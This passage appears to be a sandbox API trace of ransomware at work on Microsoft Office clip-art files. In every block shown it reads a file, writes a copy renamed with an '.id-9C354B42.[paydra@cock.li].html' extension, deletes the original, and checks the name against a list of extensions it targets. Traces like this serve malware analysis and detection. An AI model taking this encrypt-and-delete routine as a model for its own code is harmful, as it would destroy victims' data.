lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0060.708] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0060.709] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.709] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.709] SetEndOfFile (hFile=0x214) returned 1 [0060.710] CloseHandle (hObject=0x214) returned 1 [0060.710] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.710] SetEndOfFile (hFile=0x198) returned 1 [0060.710] CloseHandle (hObject=0x198) returned 1 [0060.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0060.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.711] lstrlenW (lpString=".doc") returned 4 [0060.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.711] lstrlenW (lpString=".docx") returned 5 [0060.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.711] lstrlenW (lpString=".pdf") returned 4 [0060.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.711] lstrlenW (lpString=".xls") returned 4 [0060.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.711] lstrlenW (lpString=".xlsx") returned 5 [0060.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.711] lstrlenW (lpString=".ppt") returned 4 [0060.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.711] lstrlenW (lpString=".zip") returned 4 [0060.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.711] lstrlenW (lpString=".rar") returned 4 [0060.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.711] lstrlenW (lpString=".bz2") returned 4 [0060.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.711] lstrlenW (lpString=".7z") returned 3 [0060.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.712] lstrlenW (lpString=".dbf") returned 4 [0060.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.712] lstrlenW (lpString=".1cd") returned 4 [0060.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0060.712] lstrlenW (lpString=".jpg") returned 4 [0060.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.712] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3524) returned 1 [0060.712] CloseHandle (hObject=0x198) returned 1 [0060.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0060.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.712] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.713] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.713] GetLastError () returned 0x0 [0060.713] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xdc4, lpOverlapped=0x0) returned 1 [0060.714] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xdd0, lpOverlapped=0x0) returned 1 [0060.715] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.715] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.715] SetEndOfFile (hFile=0x214) returned 1 [0060.715] CloseHandle (hObject=0x214) returned 1 [0060.716] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.716] SetEndOfFile (hFile=0x198) returned 1 [0060.716] CloseHandle (hObject=0x198) returned 1 [0060.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0060.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.717] lstrlenW (lpString=".doc") returned 4 [0060.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString=".docx") returned 5 [0060.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.717] lstrlenW (lpString=".pdf") returned 4 [0060.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString=".xls") returned 4 [0060.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.717] lstrlenW (lpString=".xlsx") returned 5 [0060.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.717] lstrlenW (lpString=".ppt") returned 4 [0060.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.717] lstrlenW (lpString=".zip") returned 4 [0060.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.717] lstrlenW (lpString=".rar") returned 4 [0060.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString=".bz2") returned 4 [0060.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString=".7z") returned 3 [0060.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.717] lstrlenW (lpString=".dbf") returned 4 [0060.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.717] lstrlenW (lpString=".1cd") returned 4 [0060.718] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 63 [0060.718] lstrlenW (lpString=".jpg") returned 4 [0060.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.718] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2488) returned 1 [0060.718] CloseHandle (hObject=0x198) returned 1 [0060.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0060.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.718] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.718] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.719] GetLastError () returned 0x0 [0060.719] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0060.720] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0060.721] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.721] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.721] SetEndOfFile (hFile=0x214) returned 1 [0060.721] CloseHandle (hObject=0x214) returned 1 [0060.721] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.721] SetEndOfFile (hFile=0x198) returned 1 [0060.722] CloseHandle (hObject=0x198) returned 1 [0060.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.722] lstrlenW (lpString=".doc") returned 4 [0060.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.722] lstrlenW (lpString=".docx") returned 5 [0060.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.722] lstrlenW (lpString=".pdf") returned 4 [0060.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.722] lstrlenW (lpString=".xls") returned 4 [0060.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.722] lstrlenW (lpString=".xlsx") returned 5 [0060.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.723] lstrlenW (lpString=".ppt") returned 4 [0060.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.723] lstrlenW (lpString=".zip") returned 4 [0060.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.723] lstrlenW (lpString=".rar") returned 4 [0060.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.723] lstrlenW (lpString=".bz2") returned 4 [0060.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.723] lstrlenW (lpString=".7z") returned 3 [0060.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.723] lstrlenW (lpString=".dbf") returned 4 [0060.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.723] lstrlenW (lpString=".1cd") returned 4 [0060.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0060.723] lstrlenW (lpString=".jpg") returned 4 [0060.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.723] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1676) returned 1 [0060.723] CloseHandle (hObject=0x198) returned 1 [0060.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0060.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.724] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.724] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.726] GetLastError () returned 0x0 [0060.726] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x68c, lpOverlapped=0x0) returned 1 [0060.761] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x690, lpOverlapped=0x0) returned 1 [0060.761] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.761] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.762] SetEndOfFile (hFile=0x214) returned 1 [0060.762] CloseHandle (hObject=0x214) returned 1 [0060.762] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.762] SetEndOfFile (hFile=0x198) returned 1 [0060.763] CloseHandle (hObject=0x198) returned 1 [0060.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0060.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.763] lstrlenW (lpString=".doc") returned 4 [0060.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.763] lstrlenW (lpString=".docx") returned 5 [0060.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.763] lstrlenW (lpString=".pdf") returned 4 [0060.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.763] lstrlenW (lpString=".xls") returned 4 [0060.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.763] lstrlenW (lpString=".xlsx") returned 5 [0060.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.763] lstrlenW (lpString=".ppt") returned 4 [0060.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.763] lstrlenW (lpString=".zip") returned 4 [0060.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.763] lstrlenW (lpString=".rar") returned 4 [0060.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.763] lstrlenW (lpString=".bz2") returned 4 [0060.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.764] lstrlenW (lpString=".7z") returned 3 [0060.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.764] lstrlenW (lpString=".dbf") returned 4 [0060.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.764] lstrlenW (lpString=".1cd") returned 4 [0060.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0060.764] lstrlenW (lpString=".jpg") returned 4 [0060.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.764] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3796) returned 1 [0060.764] CloseHandle (hObject=0x198) returned 1 [0060.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0060.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.764] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.765] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.765] GetLastError () returned 0x0 [0060.765] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xed4, lpOverlapped=0x0) returned 1 [0060.903] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0060.904] ReadFile (in: hFile=0x198, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.904] WriteFile (in: hFile=0x214, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.904] SetEndOfFile (hFile=0x214) returned 1 [0061.178] CloseHandle (hObject=0x214) returned 1 [0061.178] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.178] SetEndOfFile (hFile=0x198) returned 1 [0061.180] CloseHandle (hObject=0x198) returned 1 [0061.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0061.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0061.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.479] lstrlenW (lpString=".doc") returned 4 [0061.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.481] lstrlenW (lpString=".docx") returned 5 [0061.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.482] lstrlenW (lpString=".pdf") returned 4 [0061.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.484] lstrlenW (lpString=".xls") returned 4 [0061.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.485] lstrlenW (lpString=".xlsx") returned 5 [0061.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.487] lstrlenW (lpString=".ppt") returned 4 [0061.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.489] lstrlenW (lpString=".zip") returned 4 [0061.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.491] lstrlenW (lpString=".rar") returned 4 [0061.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.493] lstrlenW (lpString=".bz2") returned 4 [0061.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.495] lstrlenW (lpString=".7z") returned 3 [0061.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.496] lstrlenW 